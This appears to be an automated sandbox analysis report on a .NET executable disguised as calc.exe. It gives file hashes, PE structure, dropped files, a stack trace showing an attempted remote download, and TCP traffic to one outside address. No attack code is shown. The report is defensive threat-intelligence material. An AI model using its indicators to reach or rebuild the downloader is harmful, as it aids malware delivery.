                                                                                                                                                          Preview: ..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.4.7.2.<./.P.i.d.>.......
                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\Temp\WERA070.tmp.xml
                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                          File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                                                                          Category:dropped
                                                                                                                                                          Size (bytes):4701
                                                                                                                                                          Entropy (8bit):4.436262039712038
                                                                                                                                                          Encrypted:false
                                                                                                                                                          SSDEEP:48:cvIwSD8zsytJgtWI9TjWSC8BnwAb8fm8M4JPNfFg+q8vONqz59hIyjd:uITfyHwSSNKvJPQKOcz59hIyjd
                                                                                                                                                          MD5:9DB39AE73B7D1BB792E2CF4B5CB5D7C4
                                                                                                                                                          SHA1:E482B880DB6D1036C5319C3A9D6D53DFADF2E284
                                                                                                                                                          SHA-256:976605A6B86B34AFB8E27477570C0D27D738FDC3594E6C2695DBB745559CF15D
                                                                                                                                                          SHA-512:B281C2A59D9F6CFAB7E3A4B5EBB836733FACABB7B180E1643A3F8428666626EF4D47F6B1E306A1EFAA3C913903499549B08AEF1A957C725EC69E5325AB6D45EA
                                                                                                                                                          Malicious:false
                                                                                                                                                          Reputation:low
                                                                                                                                                          Preview: <?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1229578" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..
                                                                                                                                                          C:\Windows\appcompat\Programs\Amcache.hve
                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                          File Type:MS Windows registry file, NT/2000 or above
                                                                                                                                                          Category:dropped
                                                                                                                                                          Size (bytes):1572864
                                                                                                                                                          Entropy (8bit):4.276362519980729
                                                                                                                                                          Encrypted:false
                                                                                                                                                          SSDEEP:12288:tHDdqqwF9Jexk9Otx+tFDGM/vZXqRtPcASDXFIYayNX3uUQFpjYo/rO:hDdqqwF9Jexk9Oc6
                                                                                                                                                          MD5:182449C5F258C42DA5001BCC9AB94805
                                                                                                                                                          SHA1:73C00A7372A320893AD74BFD831AC8E6ACEF9E23
                                                                                                                                                          SHA-256:02746EF9BF8DF9A436C8CA45EC344BAB17EEFF35685316435AB7257B26C42F07
                                                                                                                                                          SHA-512:86E18C03312C9BE16A802ECA6146F92CC7CD0F8AEE0776FA644CD26DDB537C793FFE305A0A1E5368A4996F04D34295545C2C624AD25E993819747CA4D0A84DBB
                                                                                                                                                          Malicious:false
                                                                                                                                                          Reputation:low
                                                                                                                                                          Preview: regfZ...Z...p.\..,.................. ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e...4............E.4............E.....5............E.rmtm:....................................................................................................................................................................................................................................................................................................................................................x..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                          C:\Windows\appcompat\Programs\Amcache.hve.LOG1
                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                          File Type:MS Windows registry file, NT/2000 or above
                                                                                                                                                          Category:dropped
                                                                                                                                                          Size (bytes):45056
                                                                                                                                                          Entropy (8bit):4.2449494086132455
                                                                                                                                                          Encrypted:false
                                                                                                                                                          SSDEEP:768:iyXdC9MwqhSr1C/ZjytcNcaftx1IJ4XNFFm7aBqX3eq5QMVyi6aH4LX0uzY9Bc9v:dfSgTeW/CRapOO
                                                                                                                                                          MD5:8D077D354AF18790A0DCEB404ED6CA24
                                                                                                                                                          SHA1:61B93D1F3247659D4C468099276D2510A9870C3F
                                                                                                                                                          SHA-256:4B8DDD5AB67C2126666BE9D404FE798E39B1DFD82CE36199D474880C75C5B3F5
                                                                                                                                                          SHA-512:54BA136949ECB458436D00361CA2E716FE437E35832100769BD40208C6C7DA2B6E6681209C1A833967CE4597B2E84ED5BD399DD834DD52000A2ECB37CFDA25EE
                                                                                                                                                          Malicious:false
                                                                                                                                                          Reputation:low
                                                                                                                                                          Preview: regfY...Y...p.\..,.................. ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e...4............E.4............E.....5............E.rmtm:....................................................................................................................................................................................................................................................................................................................................................x..HvLE........Y...................}.q.......... ....... .......P.......p...............0................... ..hbin................p.\..,..........nk,..b..........(........................... ...........................&...{ad79c032-a2ea-f756-e377-72fb9332c3ae}......nk ..b.......... ........................... .......Z.......................Root........lf......Root....nk ..b.......................}.............. ...............*...............DeviceCensus.......................vk..
                                                                                                                                                          \Device\ConDrv
                                                                                                                                                          Process:C:\Users\user\Desktop\calc.exe
                                                                                                                                                          File Type:ASCII text, with CRLF, LF line terminators
                                                                                                                                                          Category:dropped
                                                                                                                                                          Size (bytes):535
                                                                                                                                                          Entropy (8bit):4.840369443408386
                                                                                                                                                          Encrypted:false
                                                                                                                                                          SSDEEP:12:3EU6cTmDslPWUl8/2RdEB2XoQ/j1NiYiiZQhSe:0KIWPWUy/2dEB24abfe
                                                                                                                                                          MD5:603AE28A4C3B3266A3A66CBEB32ADEAC
                                                                                                                                                          SHA1:DA261060E90CB51C90FC6E004433558F776B3A91
                                                                                                                                                          SHA-256:3746AD9375DC9DB19B934CBE8C4034091221508770A5854FDBFFADB4348E19FB
                                                                                                                                                          SHA-512:37A4CBC5F6065F7ACAF92C928B0D45E74FA38018CEEAB20B1F1D608130EF1F030974A0DE0A4846ECB5732DB8799B86D4CA2F23F97B3E46B6A71F7CBC9ADE5630
                                                                                                                                                          Malicious:false
                                                                                                                                                          Reputation:low
                                                                                                                                                          Preview: You must pick another side! This one is full..Proper formatting! GOOD! You can now reset your information...Unhandled Exception: System.Net.WebException: The remote server returned an error: (403) Forbidden... at System.Net.WebClient.DownloadDataInternal(Uri address, WebRequest& request).. at System.Net.WebClient.DownloadData(Uri address).. at System.Net.WebClient.DownloadData(String address).. at DarkEdition.Grogram.reload(String desi).. at DarkEdition.Grogram.assistant().. at DarkEdition.Program.Main(String[] args).

                                                                                                                                                          Static File Info

                                                                                                                                                          General

                                                                                                                                                          File type:PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                                          Entropy (8bit):4.465233635365889
                                                                                                                                                          TrID:
                                                                                                                                                          • Win32 Executable (generic) Net Framework (10011505/4) 49.83%
                                                                                                                                                          • Win32 Executable (generic) a (10002005/4) 49.78%
                                                                                                                                                          • Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36%
                                                                                                                                                          • Generic Win/DOS Executable (2004/3) 0.01%
                                                                                                                                                          • DOS Executable Generic (2002/1) 0.01%
                                                                                                                                                          File name:calc.exe
                                                                                                                                                          File size:192000
                                                                                                                                                          MD5:ce76ae9d476b9c0daa25daf4c6dd4909
                                                                                                                                                          SHA1:f574aa3bbe554363a6f6d1d648c31505bf92bfe5
                                                                                                                                                          SHA256:05f3ac7f197b690f306c521b658c935fbf057d737ad6791cee6e2553b87d090b
                                                                                                                                                          SHA512:b1537873ddbb5a3040220afdcf2159dc805602e7971af04bbb8a9115f771ca0c20dd06ab006aebf9def42cc38763fb5f9920b41011a8ba9ef3471f40eca4fa93
                                                                                                                                                          SSDEEP:768:nJR9+3IvJOAHPv9fJLyhmqGdGgEVXxHtzjSjwoGHHHHHHHHHHHHvHLbchqTWyy65:nJNvTHL4mqGzEBxRjS0oP+qO/M6QO
                                                                                                                                                          File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...0&6..........."...0..............:... ...@....@.. .......................@............`................................

                                                                                                                                                          File Icon

                                                                                                                                                          Icon Hash:70848a8c8c8ac010

                                                                                                                                                          Static PE Info

                                                                                                                                                          General

                                                                                                                                                          Entrypoint:0x403aaa
                                                                                                                                                          Entrypoint Section:.text
                                                                                                                                                          Digitally signed:false
                                                                                                                                                          Imagebase:0x400000
                                                                                                                                                          Subsystem:windows cui
                                                                                                                                                          Image File Characteristics:EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
                                                                                                                                                          DLL Characteristics:NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT, HIGH_ENTROPY_VA
                                                                                                                                                          Time Stamp:0xFB362630 [Mon Jul 23 10:32:16 2103 UTC]
                                                                                                                                                          TLS Callbacks:
                                                                                                                                                          CLR (.Net) Version:v4.0.30319
                                                                                                                                                          OS Version Major:4
                                                                                                                                                          OS Version Minor:0
                                                                                                                                                          File Version Major:4
                                                                                                                                                          File Version Minor:0
                                                                                                                                                          Subsystem Version Major:4
                                                                                                                                                          Subsystem Version Minor:0
                                                                                                                                                          Import Hash:f34d5f2d4577ed6d9ceec516c1f5a744

                                                                                                                                                          Entrypoint Preview

                                                                                                                                                          Instruction
                                                                                                                                                          jmp dword ptr [00402000h]
                                                                                                                                                          inc esi
                                                                                                                                                          jne 00007F0BB0BAE4B5h
                                                                                                                                                          imul ecx, dword ptr [ebp+69h], 63h
                                                                                                                                                          jc 00007F0BB0BAE4C1h
                                                                                                                                                          jnc 00007F0BB0BAE4C1h
                                                                                                                                                          je 0000E484h
                                                                                                                                                          xor dh, byte ptr [ebx]
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                          add byte ptr [eax], al

                                                                                                                                                          Data Directories

                                                                                                                                                          NameVirtual AddressVirtual Size Is in Section
                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_IMPORT0x3a580x4f.text
                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_RESOURCE0x40000x2cdf4.rsrc
                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_BASERELOC0x320000xc.reloc
                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_DEBUG0x39980x38.text
                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_IAT0x20000x8.text
                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x20080x48.text
                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                                                                                          Sections

                                                                                                                                                          NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                                                                          .text0x20000x1ac00x1c00False0.518136160714PGP symmetric key encrypted data - Plaintext or unencrypted data5.23611813378IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
                                                                                                                                                          .rsrc0x40000x2cdf40x2ce00False0.165226758357data4.36692229858IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                          .reloc0x320000xc0x200False0.044921875data0.0815394123432IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                                                                                                                          Resources

                                                                                                                                                          NameRVASizeTypeLanguageCountry
                                                                                                                                                          RT_ICON0x42200x336bPNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
                                                                                                                                                          RT_ICON0x759c0x19f9PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
                                                                                                                                                          RT_ICON0x8fa80x10828dBase IV DBT, blocks size 0, block length 2048, next free block index 40, next free block 0, next used block 0
                                                                                                                                                          RT_ICON0x197e00x94a8data
                                                                                                                                                          RT_ICON0x22c980x5488data
                                                                                                                                                          RT_ICON0x281300x4228dBase IV DBT of \200.DBF, blocks size 0, block length 16896, next free block index 40, next free block 4177526783, next used block 4294967047
                                                                                                                                                          RT_ICON0x2c3680x25a8data
                                                                                                                                                          RT_ICON0x2e9200x10a8data
                                                                                                                                                          RT_ICON0x2f9d80x988data
                                                                                                                                                          RT_ICON0x303700x468GLS_BINARY_LSB_FIRST
                                                                                                                                                          RT_GROUP_ICON0x307e80x92data
                                                                                                                                                          RT_VERSION0x3088c0x368data
                                                                                                                                                          RT_MANIFEST0x30c040x1eaXML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

                                                                                                                                                          Imports

                                                                                                                                                          DLLImport
                                                                                                                                                          mscoree.dll_CorExeMain

                                                                                                                                                          Version Infos

                                                                                                                                                          DescriptionData
                                                                                                                                                          Translation0x0000 0x04b0
                                                                                                                                                          LegalCopyrightCopyright 2021
                                                                                                                                                          Assembly Version15.10.2.1
                                                                                                                                                          InternalNamecalc.exe
                                                                                                                                                          FileVersion15.10.2.1
                                                                                                                                                          CompanyNameRepreIP
                                                                                                                                                          LegalTrademarksSDK9OPS2
                                                                                                                                                          CommentsDK5 Forensics tool and updater
                                                                                                                                                          ProductNameSDK9OPS
                                                                                                                                                          ProductVersion15.10.2.1
                                                                                                                                                          FileDescriptionRepreIP
                                                                                                                                                          OriginalFilenamecalc.exe

                                                                                                                                                          Network Behavior

                                                                                                                                                          Network Port Distribution

                                                                                                                                                          TCP Packets

                                                                                                                                                          TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                          Oct 28, 2021 04:47:21.179862976 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:21.179913998 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:21.180020094 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:21.550734043 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:21.550770998 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:21.604721069 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:21.604815006 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:21.623693943 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:21.623720884 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:21.624111891 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:21.666807890 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.238240957 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.280900955 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.669881105 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.669970989 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.670011044 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.670049906 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.670063019 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.670089006 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.670104980 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.670108080 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.670147896 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.670166969 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.670454979 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.670511007 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.670520067 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.670550108 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.670586109 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.670593023 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.670607090 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.670658112 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.671241045 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.671410084 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.671446085 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.671471119 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.671489000 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.671530008 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.672061920 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.672152996 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.672198057 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.672240973 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.672264099 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.672318935 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.672907114 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.672974110 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.673006058 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.673031092 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.673053026 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.673099041 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.673628092 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.673718929 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.673754930 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.673779964 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.673800945 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.673847914 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.674407005 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.686944962 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.687005997 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.687041044 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.687057972 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.687088013 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.687114000 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.687242985 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.687283993 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.687309027 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.687329054 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.687371016 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.688016891 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.688092947 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.688106060 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.688170910 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.688194036 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.688246012 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.688770056 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.689385891 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.689511061 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.689536095 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.690206051 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.690272093 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.690309048 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.690318108 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.690350056 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.690982103 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.691030025 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.691073895 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.691101074 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.691131115 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.691766024 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.691853046 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.691874981 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.691927910 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.692559958 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.692646027 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.693361998 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.693408012 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.693439960 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.693460941 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.693509102 CEST49706443192.168.2.3162.159.129.233
